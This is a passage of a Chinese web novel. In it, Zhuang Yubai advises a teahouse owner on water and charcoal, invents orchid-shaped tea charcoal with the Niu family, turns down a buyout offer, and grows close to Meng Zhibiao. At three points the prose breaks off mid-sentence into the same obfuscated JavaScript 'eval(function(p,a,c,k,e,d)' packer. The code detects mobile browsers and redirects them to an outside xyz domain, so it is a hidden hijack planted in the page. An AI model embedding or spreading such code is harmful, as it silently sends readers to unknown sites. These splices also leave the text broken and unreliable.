以粟哥儿的容貌品性，附近十里八乡想找个条件好的人家不成问题，没的埋没在他们家。二人合计，若粟哥儿愿意，等他身子养好了，或者全家一起攒些路费送他回去，或者在当地寻个舒心人家，他们都依着粟哥儿。 粟哥儿原本无处可去，是张家收留了他，这岂非上天安排的缘分？他看上张家良善和睦，心中有了盘算。当然，主要是货郎张的本分厚道，让这个孤苦无依之人寻到久违的安稳、踏实。 粟哥儿月份大了，身子重，不方便弯腰。货郎张就凑在粟哥儿身边，将买来的东西，一样一样拿出来给他看。 包粽子的黏米买了3斤，梅干、杏脯是在相熟的铺子买的，多给了些，另外又买了8斤米，近日家中可以少吃几顿杂粮粥。 粟哥儿抬手给货郎张擦了下额头，方才烧艾草蹭上了灰。 货郎张嘿嘿傻笑两声，忽想到什么，让粟哥儿等等，忙擦了擦手折回货担，从中取出一个小包裹。 “等你空了，给自己做身衣裳。你手巧，给我缝补的衣衫，都非常合身。”货郎张挠挠头，不敢看粟哥儿的眼睛，“我看着好看，价格也不贵，就留下了。” 粟哥儿打开，是一块石青色细葛布料，果然有些生气：“怎么又乱花钱！” “过节，平时绝不乱花的。”货郎张作着保证，又将一只红红的虎头帽放在粟哥儿手上，“等孩子出生，天也凉了，到时戴上，暖和又好看。” “不是还有几个月呢，何必急在这一时就买了。”粟哥儿嘴上说不要，早将那虎头帽拿在手上翻来覆去地看。寻常市面做工，不过一双虎耳朵捏在手里，软糯糯，毛茸茸。可爱。 自从货郎张接了“金玉满堂”这档生意，家中笑声越发多起来。现在每日能多赚个三十多文，日子明显宽松不少。温饱渐渐有了保证，还时不时能买几只鸡蛋补下身子。一切都在越来越好。 增丁添口原是喜事，等娃儿出生了，穿衣吃饭都是钱，可如何是好。一开始张家着实犯愁。谁知时来运转，竟将“金玉满堂”的生意送到他们门前。可见上天垂怜本分人。 跟着这孟书郎和小郎君好好做这“金玉满堂”的生意，小郎君说的什么饥饿营销，虽然这个词听着奇怪，但道理是对的。反正今后小郎君让咱怎么做，咱就怎么做。 粟哥儿将虎头帽仔细收起来：“短短小半个月，家中已经多攒下一二百文钱了。等孩子出生后，我再接些裁剪缝补的活计，想来日子定会越来越好的。” 趁着天没黑，一家人合力将粽子包好。 “咕嘟咕嘟”二三十枚角粽在艾草汁水中慢慢煮着，四溢米香中萦绕出果脯的甜香。 粽子先敬神佛，再好好选出一串明早送与孟知彰和庄聿白尝尝鲜。 “这都是菩萨保佑。让我们遇到孟书郎和小郎君这两位贵人，不然哪有眼下这样舒心日子。单说这粽子，往年哪能凑齐这些粮米来包。”张母双手合十，朝上敬拜，口中念佛不止，“求菩萨保佑孟书郎和小郎君平平安安、长命百岁。” 粽叶经艾灰一煮，其色如金，阳光一打，精巧又好看。 第二日一早，货郎张来取当日份金玉满堂时，将一串9枚角粽送与孟知彰和庄聿白。 “自家包的艾粽，请两位尝尝。”货郎张笑着念道，“祝小郎君顺心甜蜜，祝孟书郎金榜高‘粽’！” 临出门时，粟哥儿教他的话，他仔细记住了。粟哥儿见识得多，懂得也多，粟哥儿怎么说，他都照做。果然小郎君一听，很开心。 庄聿白早将准备的节礼放在那里，两份金玉满堂，一盒各色小果子，还有一小罐虾油。货郎张一见连忙推辞，“孟书郎和小郎君已经帮了我们很多，怎好再收这些东西，万万使不得。我家夫郎会埋怨我的。” “不收，就是拿我们当外人了。一点心意而已。”庄聿白笑着将东西塞到货担上，又问，“张兄也有夫郎？关系还这样好？” 过节收礼物，竟然还担心自家表弟埋怨自己。 货郎张一时愣住，他家那位怀有身孕这事早就告诉过孟书郎和小郎君的。前几日小郎君不是还让我给我家夫郎带好么，怎么现在倒问起我有无夫郎之事？ 货郎张正不知这话该怎么接时，却听孟书郎下了催客令。 “时间不早了。张兄，不远送。” * 果真如庄聿白预料，端午还没过完，金玉满堂的订单已纷至沓来。 有来孟家村走亲访友的四周乡邻，数量尚可控，最多三五份。学中同窗介绍来的订单，数量相对多起来，但辛苦些也能勉强供应。难的是城中来的大单，两天竟接了三个大单，体量虽不及吴家寿宴，加起来也有个七八两银子。 此外还接到一个特殊订单。三省书院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919435|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南先生亲笔书信一封，要订制金玉满堂10份，还特意交代一笔，若可以，玉片多多益善。月中来取书时柳叔会一同带回。 好在现在正值夏季，牛家的炭火订单只需维持日常产量。牛大有有时间隔三差五就来帮忙。 这日两人在城中刚完成一个大单，正驾炭车在城内闲逛，边逛边买些家中所需之物。庄聿白想到什么，若有所思问牛大有：“大有哥，这城中可有什么茶楼聚集的街道？” “有。”牛大有应了声有，虽不知庄聿白为何要找茶坊，还是直接将车掉头往东驶去。 城东几条街富人较多，茶肆酒楼林立。牛大有此前也给这条街上的几个馆肆送过炭，不过也仅限烧火取暖的后厨粗炭。 茶楼烹茶的炭都是特制细碳，牛家的平日送的炭火虽好，直接烹茶却使不得。 两人沿街走着，行人交织中，各色茶坊的幌子挑了满天满眼。不多远，却见前方一个不算起眼的小茶坊前里三层外三层围着不少人，争先恐后不知在抢些什么。 庄聿白拉住一位正急切切往前挤之人，问道：“小郎君，请问这是去买什么？” 那人道：“小郎君还不知道么？缘来茶坊在府城斗茶大会上的获胜之茶，新到了一批货。数量有限，先到先得。不说了，上次我就没抢到。” 庄聿白又打听一番才知其中原由。 此地斗茶之风盛行，尤其文人雅士云集的府城，每到春秋学子前来赴考之时，都会举行盛大的斗茶会。获胜茶馆向来受人追捧。这缘来茶坊今春就这府城斗茶大会上斩获第十名。 斗茶大会上能挤进前十位的茶馆，一来自身实力原就很强，二者文人学子皆会慕名前去品茶，有了读书人的加持，哪怕不在斗茶会期间，日常也高朋满座。 不过这缘来茶坊情况比较特殊。多年来斗茶前十名皆是府城茶馆，一个名不见经传的县城小馆能挤进前十，这还是头一家。 据说是茶好。都传茶坊掌柜今年早春日日去寺里拜佛，诚心打动了佛祖。佛祖便送了他一味难得的好茶，这才在斗茶大会上获胜。 这种神佛之事，庄聿白自是不信。茶坊内正有茶博士在重现当时斗茶时的那道茶。庄聿白不觉下了车，走到近前观看起来。 茶博士是个清秀小生，碎茶、碾茶、箩茶、击茶、点茶……一套动作下来，气定神闲，动作娴熟，观赏性极佳，惹得众人纷纷喝彩。 庄聿白此前看过云无择制茶，再看这茶博士手法，娴熟归娴熟，却总有种“穿大人衣服、学做大人模样”的感觉。 现场掌声不断，更有不少人学那府城习俗，纷纷向茶博士近旁的大托盘内投掷香囊、花朵等。 此时，阵阵叫好声中，却传来一道不合群的声音： “缘来茶坊不过如此！若秋季斗茶大会还是这般水平，莫说前十，前一百名中也寻不到贵坊的名字！” 全场哑然，登时将目光投向场内站着的这个琥珀发色小哥儿身上。 牛大有停好炭车，也忙跟进茶馆，却见庄聿白正被茶馆老板并茶博士等人簇拥着请去楼上雅间。 39. 茶炭 茶坊内，庄聿白仔细看着茶博士的制茶表演，视线不时落在煮水的炭炉上。 炉上托着一只长嘴大铜瓶，隐约可以听见瓶内“咕嘟咕嘟”的水沸之声。瓶下的橙红色炉炭明亮柔和。能看出炉炭是细细挑选过的，只是炭块大小不一、形状各异。 茶博士击茶点茶之后，将茶分入小盏请在场宾客试饮。 “好茶！气质如兰！斗茶大会第十名的茶，果然名不虚传！” “我听说这是佛祖亲赐的茶，岂能不好！” “是茶博士技术好，茶膏绵密，人也清爽！” 人群挤满茶坊里外，议论纷纷。不一时，茶博士近旁的大托盘里掷满各色香囊和应时花朵，偶然还能看到一两块玉佩。 庄聿白也试了试，只一口，嘴角便染上些笑意。稳妥起见，他又喝了一口。 众人叫好中，庄聿白喊出那句“缘来茶坊不过如此”的扫兴之话。不合时宜，更惹众怒。茶坊先是骤然静下，旋即掀起轩然巨浪。 茶坊常客和这茶博士的忠实粉丝一听，顿时火冒三丈，将庄聿白团团围住，开启“控评”模式。 “这位小哥儿好大的口气！你知道斗茶大会是何等盛会？你可知夺得第十名是何等荣耀！无知小儿竟在此口出狂言！” “少跟他废话。喂！说你呢，你属螃蟹的么！敢在这里横行霸道是要吃些苦头的！”有火气大之人，已迫不及待挽袖摩拳。 “瞧他这穷酸相，估计平时也喝不到什么好茶。他这般说，不过是想骗几两茶罢了。” 场内正乱成一团。有人喊“掌柜的来了！” 人群自觉分出一条路。一中等身量的瘦削男子，锁着眉头在众人注视下走来，面上十分不悦，身后跟着几个五大三粗的小厮。 那掌柜的原在招待几位老主顾，正说到秋季再去府城斩获更佳名次之类的话。小厮却来报有人闹事，来人口出狂言，说秋季斗茶大会上根本不会有缘来茶坊的名号。那掌柜一听登时拉下脸来，认定是附近茶坊来闹事。 自从今春府城斗茶大会以来，茶坊中生意教此前好了十倍不止，同行嫉恨也在情理之中。 掌柜带人下楼，却见人群围着一个瘦小的哥儿，他上下打量庄聿白一眼，粗衣布衫却气质卓然。不是熟客，更不像对家。 掌柜眼神微敛，上前朝庄聿白一抱拳，语气不冷不淡：“在下周青，是这茶坊的掌柜。我瞧这位小兄弟眼生，不知当众称我缘来茶坊不过尔尔，是来砸场子，还是来赐教的？” 众人见掌柜出来，声讨闹事之人的气势更足了。 庄聿白看了看茶坊内局势，这是别人地盘，对方人多势众、来势汹汹，还有一众帮腔之人，自己若不能一招击中，今日恐难脱身。 他此时竟有一点点后悔没把孟知彰带在身边。此人不仅能说还能打，哪怕不动手，站在一旁给自己撑撑场面也可以。 “周掌柜好。赐教不敢。”庄聿白笑着一拱手，走近半步，对着满脸不悦的掌柜只轻声说了一句什么，便不再吭声。 周青满脸震惊，不可置信地看着庄聿白，又从头到脚从脚到头将眼前这个不起眼的小哥儿扫视了两遍，确认自己没有听错。 身后众小厮见掌柜脸色有变，立即围上来，准备将这不懂事的小哥儿用武力“请”出去。正提衣挽袖，却见掌柜对小哥儿郑重一抱拳，满脸堆笑：“小郎君，若肯赏脸，请雅室一叙。” 周青亲自引路，将庄聿白往楼上请去。留下满茶坊之人一个个面面相觑。 一时进得一个清雅茶室，分宾主落座后，周青请茶博士单独制作了一盏茶，自己亲自捧与庄聿白，笑道：“敢问小郎君尊姓大名？” “琥珀。”庄聿白没客气，接过茶盏喝了一口。 茶是好茶，不过他不说好也不说不好。将茶盏置在桌上，只微笑看着对方。 周青心中暗吸一口凉气。这茶是茶坊最顶尖茶饼所做，茶博士的技艺也不错，但来人的表现，尤其方才在楼下说的那句话，让此时的他心中没了底。 今春多亏了元觉寺的春茶，自家茶坊才有底气去斗茶大会上试一试。谁知竟一发中地，拿了第十名回来。这是满暨县都没有的荣誉，别说暨县，满东盛府都可以算是小有一些名气了。 一个不入流的县城小茶坊能在东盛府崭露头角，有称赞之言，自然也有各类贬损之语。为了堵住悠悠之口，周青正多方设法提升自家制茶手艺，希望在秋季时再次拿得名次。 周青看着眼前气定神闲的小哥儿。他打量对方，对方也在揣度自己。他正了正坐姿，故作不屑道：“方才在楼下，小郎君说这是元觉寺新制的兰因茶，却用世俗井水烹制，岂非暴殄天物？” 庄聿白不动声色点点头：“正是。” 周青笑笑：“能喝出所用之水为井水，小郎君确实是懂茶之人。不过周某想说的是这并非元觉寺的兰因茶。小郎君到底年轻，认错了茶在所难免。不过来了都是客。我周青愿意交小郎君这个朋友。” 庄聿白不置可否，他端起茶盏又喝了一口，嘴角噙笑，淡淡道：“听闻周掌柜常去元觉寺上香？” 周青不知对方为何会有此一问，还是点头道：“陪拙荆去庙里还愿。” “元觉寺茶园旁的那一大片兰花，周掌柜想必见过的吧。”庄聿白眉眼湾笑，看似温和谦逊，外人若想看透他的心思却并不容易。 “听说是寺中住持闲暇时亲自在打理。众人皆有心想去观赏，又恐扰了住持清修，皆在上香途中远远瞻望一二。”周青喝了一口手中之茶，“小郎君也喜欢元觉寺的兰花？” “非也。”一抹笑弯上庄聿白眼角，“贵茶坊这道制胜茶，最与众不同的一点是什么？” 周青抬起视线看着庄聿白，又低头看了眼盏中茶，脱口而出：“气质如兰……” “对！气质如兰。”庄聿白笑了，“正因为元觉寺住持爱兰，也只有元觉寺茶园中的茶，才会有此独特的兰花香。” 周青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927577|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恍然明白过来，他忙敛衣起身，对着庄聿白深深行了一礼，郑重道：“求小郎君，教我。” “周掌柜言重了。”庄聿白拱手行了一礼。 他知道心中正盘算的生意，这是成了一半。 “一道茶，好与坏，在茶，在水，在器，也在炭火，最后才是这功夫。”庄聿白现学现卖，将在云无择家的那次品茶之所见所闻，尽数用在此处。“一等茶，用二等水，所烹之茶的上限就是二等。一等兰因茶，却用市井河渠之水，不是暴殄天物又是什么？与明珠暗投又有何异？” 周青频频点头：“上次斗茶时，位列第九第八的两家茶肆，我也去品尝过。茶本身远不及这兰因茶，但烹煮出来的汤色及茶膏却明显高出几分，当时我也怀疑是水的问题。” 庄聿白清楚记得上次云无择烹茶用的是竹叶积雪之水，若让一家茶坊全部效仿，也不现实。庄聿白给出一个折中建议：“元觉寺附近有条枕霞溪，溪水清冽，周掌柜下次去上香可以带回些试试。” 道理很简单，原汤化原食。周青醍醐灌顶，早起在菩萨面前烧的那炷香灵验了，眼前小哥儿不就是菩萨派来帮自己的仙使么。 周青感激之情无以言表，起身上前就要去握庄聿白的手，忽一眼瞥见庄聿白眼微那枚红色泪痣，忙又将手收回去。太唐突了。 “感谢小郎君提点！除了这水，是否还有其他？刚提到了炭火。” 周青讲到了重点，也说到他自己的心结。 一般的取暖炭火无法用来烹茶，一来烟大，二来加热不均，会使茶的味道大打折扣，所以烹茶多用专门的茶炭。周青自家选用的茶炭在暨县算上乘，原以为这就可以了，谁知一山更比一山高。 斗茶会上，各家所用之炭五花八门、争奇斗艳，看得周青眼花缭乱。他也派人四处去打探各家所用炭火，谁知稍有名气的茶坊用的都是按需定制的茶炭，外界根本买不到，更无从得知如何制作。 周青是个爽快人，话已经聊到这个份上，他便将自己眼下的顾虑倾囊相告。 庄聿白坦言：“今日能路过贵茶坊，你我缘分当真不浅。我朋友家中世代制炭，周掌柜说的那种茶炭，他家炭窑中就在烧制。” “果真？” 菩萨今日显灵了。周青当即双手合十，高举过顶，向上好好磕了个头。 此时楼下的牛大有见庄聿白迟迟不出来，以为出了事，正闹吵吵要上楼来救人，却听楼上一叠声请他。 庄聿白清了清嗓子：“周掌柜，这位就是我说的那位朋友，牛氏炭业第三代传人，牛大有。” 周青如见救星，忙上前向牛大有施礼，左一声“牛掌柜”右一声“牛掌柜”称呼得十分亲热：“不知贵窑中所烧茶炭是何形制，银钱几何？是否有样品可供一试？” 牛大有一脸懵，他无助地看向庄聿白，刚要问什么是茶炭，衣角早被庄聿白扯住。 庄聿白笑答：“七日后，我们将炭带来。看过炭，再议银钱。” 40. 制炭 庄聿白带着牛大有离了茶坊，已经看不到茶幌下遥遥招手的周青时，牛大有才深舒一口气。 “琥珀，方才……可咱窑上不烧茶炭。” 虽不知前因后果，但牛大有还是看明白了庄聿白在茶坊同那周掌柜谈茶炭生意。他提着一口气，努力配合庄聿白。可庄聿白拍着胸脯称七日后送上样炭时，牛大有差点一口气呛到自己。 “接下来，咱就烧茶炭了。”庄聿白眼神明亮，自信地对着牛大有挑下眉。 “可家中没人会烧茶炭。”牛大有急得额头冒汗，他大手一抬胡乱擦了把。琥珀答应别人的事，就是自己的事。牛大有挠着头，七日内带样炭来议价，可七日去哪变出这茶炭。 庄聿白拍拍牛大有肩膀：“放心，我会。” “你会？”牛大有知道庄聿白不会说大话，可连他父亲这种和炭窑打了一辈子交道的老把式都不敢轻易尝试烧茶炭。 “没关系的，我城中认识一些烧炭的，实在不行……”牛大有憋了半天，终于想到一个他认为可行的解决方案，“实在不行，我去买一篓回来，先把这个坎迈过去。” 庄聿白笑笑，不置可否，只催牛大有加快赶车：“天不早了，难得进一次城，咱这次要采买的东西还有许多。” 二人到家时天已擦黑。 牛老汉担心二人在路上遇到什么事，来孟知彰家等消息。除了腊肉时蔬等日常所需物品外，牛老汉看着孟知彰和牛大有将炭车上的石碾、石臼、罗筛等物一件件往下搬，一时不知说些什么。 “知彰，你这是要开磨坊，还是准备炮制药材？” 牛大有帮着将一篮鸡蛋放到厨房：“爹，琥珀打算做茶炭。方才在城中已经找到买家，是一家生意红火的茶坊。” “是我们一起、做茶炭。”天不早了，庄聿白并未多做解释，取了一包霜糖给牛老汉，笑道，“牛叔，这是给牛婶的。明天开始，我有些制炭方面的事情要好好请教您，希望牛叔莫嫌烦。” 庄聿白并没做过什么茶炭，但他研究过古代香炭。不管熏香还是品茶，都是追求精巧生活。令各类茶肆趋之若鹜的斗茶大会，对茶、器、水、炭等的要求自然更是精中求精、巧中寻巧，无所不求其极。所以把握住精巧二字，这茶炭也就成功了一半。 庄聿白动了研制茶炭的心思，还是缘起上次帮牛家带去山中、给云无择烹茶煮水的那一篓柳条炭。 香碳的制作皆需挑选质地坚硬的硬木炭，耐烧、无味无烟、防爆裂，敲击时有金石铿锵之声，甚是悦耳。香碳如此，茶炭亦然。 柳条炭就是个很不错的选择。 柳条炭放入石碾，进行初步破碎。碾压成碎块后再用石臼捣磨成粉。柳条炭质地坚硬，这两步需要花费很多力气。好在庄聿白有帮工。 之后碳粉过筛，细罗筛出细薄如烟雾的碳粉备用。 接下来起锅煮水，糯米大火烹煮至黏糊状。再将糯米糊倒入碳粉中，趁热揉捏成团，并反复敲击捶打。炭团起韧劲后压成一厘米厚的炭饼，用模具印花成型。 庄聿白选了一款兰花模具，与那缘来茶坊去参赛的兰因茶相呼应。 脱模后的炭饼，一枚枚摆在薄纱上，缓缓阴干。洁净容器进行窖藏，烹茶时取出铺于炉内。 兰花炭烹兰因茶，枕霞水飨痴茶人。庄聿白似乎看到这款兰花炭在秋季斗茶大会上大放异彩的光景。 金玉满堂近日的生意异常红火，家中原本已经非常忙碌，庄羽白又开始了紧锣密鼓的茶炭研制。孟知彰担心庄聿白身子撑不住，大部分时间便不去学中。 庄聿白身子骨原本单薄，再加上那场骇人听闻的“祭河”……孟知彰每每想到这样阳光之人当初是如何从那人间地狱爬出生天时，眼神中便不觉浮出他自己也未曾察觉的阴鸷和狠厉。 幸好没落下什么病根，但若自己不知保养，长此以往劳心劳力，恐非长久之计。孟知彰决定亲自看着些。 孟知彰在学中告了长假，先生也只交代几句，让他当心身体，不要累着之类的。院试在即，倒不是先生对自己的学生不上心。一来他相信自己学生的实力绝对没问题，二则有南时这个老顽固时不时给孟知彰“开小灶”，他这个先生自然一百个放心。 孟知彰一边在家中读书，一边帮庄聿白料理家中事务，主要是把“用力气的事情”全部做掉。包括但不限于：洗衣做饭、洗面筋、炸制金玉满堂、碾压木炭、研磨碳粉……以及将在桌案前的睡着的庄聿白抱回床上。 茶炭的制作并非一蹴而就。第一次做，中间出现反复很正常，庄聿白控制不同变量来摸索最佳配比和制作流程。 每次试验之后，他都会伏案半晌，写写画画，每日还会写研制心得，将研制过程中遇到的小问题或者小惊喜，通通记下来。 这不，写了大半日，此刻竟趴在桌子上睡着了。 孟知彰在一旁椅子上温书，火苗簌簌晃动几下，他下意识去看桌案上的灯，这才发现半日没动静的小小发明家竟然进入梦想。 灯光打在庄聿白白皙如瓷的脸庞，倔强的鼻梁越发高挺。别看个头不高，脾气倒是硬得很。自己认定的事情，十头牛大有家的驴子也拉不回来。 孟知彰眼神柔和，微微摇了摇头。庄聿白细长睫羽，随着晃动的灯光落下两簇茸茸阴影，倒像是扫在孟知彰脸上。孟知彰多看了一眼，喉结便不觉滚了滚。 天不早了，孟知彰原想叫醒对方去床上睡，伸出的手刚要拍上庄聿白的肩膀，他不知想到什么，忽地将滞在半空的手又收了回来。 孟知彰围着熟睡之人转了两圈，似乎在研究着什么，又像是下定了某种决心。 良久，他轻轻俯下身，小心翼翼将人抱进怀中，脚步轻缓，慢慢将人抱回床边，像抱一个极轻极软的泡沫，唯恐自己呼吸重些，或者手上动作大些，便能见人吹破弄碎了。 孟知彰单膝跪在床侧，将人轻轻放在枕上。完好无损。庄聿白继续睡着，梦中像是在嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932776|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好吃的，口中咕叽，双唇软软动了下。 孟知彰愣在那里，他站在近旁看了片刻，起身端了盆温水回来，手背试过水温，拧出一条不凉不热的帕子，开始帮熟睡之人清洁擦拭。 庄聿白脸颊不知何时蹭上一点墨，修长的手握着巾帕轻轻擦去，屏住呼吸，小心翼翼，动作极轻极柔，就像修复一幅极其珍贵的古画。 还好，人仍在沉沉睡着。孟知彰坐在床侧，将庄聿白的右手放在自己的手心。手指修长细软，指甲饱满莹润。只是握笔的指肚总是黑黢黢的。 写字就写字，不知为何每次都要和纸笔墨汁来较劲。 孟知彰嘴角不觉弯出些弧度，他仔细擦拭着手心中的手指，从指根到指腹，再到弧度弯得刚刚好的指甲。 每次睡前孟知彰都会配合地将庄聿白的手脚绑上，晨起之后，他再将绳帛解开。所以每天晚起赖床的庄聿白醒来时都会在床上摆“大”字。 今晚，孟知彰没有捆绑手脚。他吹熄了灯，像往常一般躺在外侧枕上。早就习以为常的就寝流程，今日却总觉得哪里怪怪的。孟知彰自己也说不好，就像是做了什么亏心事。 正想着，一条胳膊搭了过来。 黑暗中孟知彰清醒地睁开眼睛。等他意识到此刻正发生什么时，呼吸一下停滞，心跳也漏了两拍。不知缓了多久，孟知彰决定将那个搭在自己胸前的胳膊轻轻放回它主人身边。 几个呼吸不到，那条胳膊又伸了过来，这次不同上次。 这次这条温软的胳膊，直接搂住了孟知彰的脖子。 之后每一个夜晚，庄聿白每次在案前书写，孟知彰都会坐在近旁看书，不远不近，翻书的力度都仔细拿捏，唯恐吵到逐渐昏睡之人。只恐夜深花睡去。不，只等夜深花睡去。 * 五天后，庄聿白将一篓兰花炭带至牛叔面前。 牛老汉烧了一辈子的柴炭，从未想过炭还能做成这样形状。他拿了一块放在手中反复摩挲，越看越喜欢：“这茶炭真是不错，哪成想黑黢黢的炭棍竟能变成这俊巧模样！当真好！燃起来的炭火也会通透明亮。” “牛叔不点着试一试，就知道炭火如何？”庄聿白也学牛老汉的模样用指甲轻轻弹了下这兰花炭，声清如玉。 “好炭只需听声。你这兰花炭，错不了！”牛大叔招呼妻子一起来看木炭，“这琥珀别看年纪小，是有些真本事的。” 牛婶向来嫌弃牛大叔像个闷葫芦，今日竟说出这么多夸赞人的话，真是难得。当然更难得的是知彰这位表弟。将来也不知是哪个有福气的人家娶了去。 牛婶看看自己儿子牛大有，用力摇了摇头，哪怕十层亲妈滤镜加持，自家儿子也配不上人家。 一抹亮光晃过来，牛婶视线偏了偏。 夕阳余晖从枣树叶丛中漏下，碎了一地。光影中，孟知彰和庄聿白正说着什么，一静一动，额头越抵越近。 牛婶叹了口气，这俩孩子真的就没可能么？ 41. 买断 “牛叔觉得，我们这兰花炭卖什么价钱合适？” 牛大叔眉毛微皱，认真盘算起来。三斤上乘木炭出一斤茶炭，但中间人工耗费较多，除去正常烧制柴炭的时间，柴炭到茶炭这个过程耗时又耗力，价钱自然要高出一些，方不亏本。 “3斤木炭10文左右，1斤茶炭怎么也要15文。”牛老汉给出自己的定价。 庄聿白点点头，向牛叔探过了底，再去同茶坊掌柜谈判时，才能做到心中有数。 七日时间到，庄聿白和牛大有带着那篓兰花茶炭，如约去了缘来茶坊。 牛叔等人在家等消息。原本临行时喜气洋洋、志得意满的两人，从城中回来后，却一脸严肃。 应该是没谈拢，牛叔安慰心中咯噔一声，笑着宽慰：“没事，是不是嫌我们定价太高。或者我们每斤降几文？” 见庄聿白摇头，牛老汉又道：“这炭是好炭。那茶坊不要，总有人会看上。大有，你明日带着样炭多去几家茶楼酒肆问问，还有香店。” 庄聿白扶住牛老汉：“牛叔，缘来茶坊一眼就看上了我们的兰花炭，而且以30文每斤的价格，将样炭全留下。” “30文每斤，出到这么高的价，是好事。”牛叔不明白二人为何愁眉不展。 庄聿白微叹口气：“对方想出30两银子买断这兰花炭的制作工艺。我没答应。” 牛老汉一听，腿顿了下：“30两！30两可以买4头大青花骡子。这可真不是一笔小钱。不过啥叫‘买断’？” “买断，就是今后这兰花炭的技术归这茶坊所有。我们今后只能为这一家茶坊制作兰花炭。” 牛老汉原还想劝庄聿白接下这30两银子，可低头想想也觉不妥：“若他家茶坊哪一日不做了，我们这炭岂不是就没出路了。不行不行，买断不可取。” 庄聿白也知道买断不可取。可30两现银到手的话，孟知彰去府城考试的钱就有了。 * 月辉洒满庭院，将浮起的燥热之气压下来。 灯影晃动，庄聿白支肘托着下巴，用力抓着那杆笔写写画画。他在认证盘算家中积蓄。 货郎张这条渠道目前一共有2两银子入账。端午订单，学中、乡邻，加上吴家寿宴以及孟知彰抄书所得的银钱，结余6两银子。近来新接的4个订单，入账近8两。除去各类成本、日常采买等，家中目前攒下的银钱已经有12两。 离院试还有2个月时间，以目前的攒钱进度，单单依靠金玉满堂攒够30两，问题应该也不大。长远来看，拒绝茶炭买断之事，是对的。 庄聿白伸了个懒腰，看看一旁的孟知彰。 孟知彰一如既往坐在一旁椅子上认真看书，不近不远，不声不响。每隔几分钟便会轻微地翻动书册，规律且有节奏。 庄聿白理解孟知彰备考辛苦，所以对方晚间读书时他从来不打扰，也极力克制自己保持安静。一时半刻还好，坐久了容易犯困。 “啪——”灯花爆了一声，庄聿白扭扭身子坐直些，他看着自己面前涂满鬼画符，不由提笔又添了两划。 月光如水，从窗棂缓缓淌进来。一声声翻页的音浪下，庄聿白的眼睛越来越紧涩，头也越来越昏沉。椅子中的人越坐越矮，后来索性脑袋歪在胳膊上。 庄聿白不知道自己怎么就睡了过去，等他醒来，发现自己已经躺在床上。 屋内熄了灯。月光更清亮，窗棂形月光在黑暗掩映下的书桌上缓缓流转。窗外墙角不时传来几声蛐蛐声。 来了这些时日，庄聿白已经习惯了这种安稳的村野生活，每天干劲十足，每天都有新的收获，最主要的是现在钱袋越来越鼓。 获得感带来的对生活的掌控感，让他对所在的这个世界充满信心，也越来越喜欢当下的身份和当下的自己。 庄聿白蹭了蹭身下的枕头，给自己窝出一个更舒服的姿势。心情舒畅，连枕头都变得温软舒服起来。 月光映在眸底，庄聿白像是察觉到什么，眼底的笑意倏忽消失。 身下的“枕头”不仅温热，还微微起伏，甚至在“扑通扑通”有节奏地跳动。庄聿白一惊，猛地支起脑袋，借着月光朝身下看去。 ……自己睡的哪是枕头。不知何时竟趴上孟知彰的胸膛，此时一只手还摸着人家坚实的胸肌。 就说自己睡相不好，睡觉时手脚需要用绳子约束下。一时忘记，就惹出了这么大个难堪。 庄聿白被烫到似地缩回手。非礼勿视、非礼勿动、非礼勿摸。 孟知彰向来清风朗月般一位矜持君子，若此时醒了，发现自己被如此轻薄，不知会作何感想。万一他闹起来，问我要说法。我能给什么说法！ 庄聿白探头看看平躺在自己身边之人，似乎并没察觉什么异样。他小心翼翼伸出一根手指去探对方鼻息，呼吸平稳，神态安然。还好睡熟了。 庄聿白缓缓从孟知彰身上退下来。 像踩着个地雷，如履薄冰又紧张兮兮，唯恐不小心将对方惊醒。 庄聿白转念一想，不对，这又怎么了？大家都是直男，还是好兄弟。好兄弟睡着了，抱一下怎么了？ 有一说一，孟知彰的胸膛紧实又阔朗，趴在上面，怪舒服的。好在现在天气热，等到天冷时，这不是妥妥的人形暖水袋么。 嗐！孟知彰那未过门的老婆，有福了。 庄聿白重新躺好，窝在自己枕上，额头却和对方颈窝保持五厘米的距离。这是好兄弟的距离，不至于太亲密，又不显得太疏远。庄聿白向来对自己的分寸感引以为傲。 庄聿白有一搭没一搭地摩挲着指腹，似乎在回味方才那胸膛的温度和手感。夜色掩护下，他抬起手腕，虚空中又描了描那宽厚胸肌的弧度。 好兄弟，摸几把，没关系的吧。 庄聿白侧身支棱起来，秉着呼吸，眼睛一眨不眨盯着孟知彰的反应，然后鬼使神差将手放在离自己最近的左侧胸膛。手心还非常周到地微微凹起，以免碰到什么过于敏感的部位。 好兄弟让你摸一把，你将人弄醒，那就不礼貌了。 * 第二天庄聿白若无其事地吃饭工作，还热情问孟知彰可有什么需要的，他今天和牛大有去城中送炭。庄聿白全程都在观察孟知彰的一言一行。 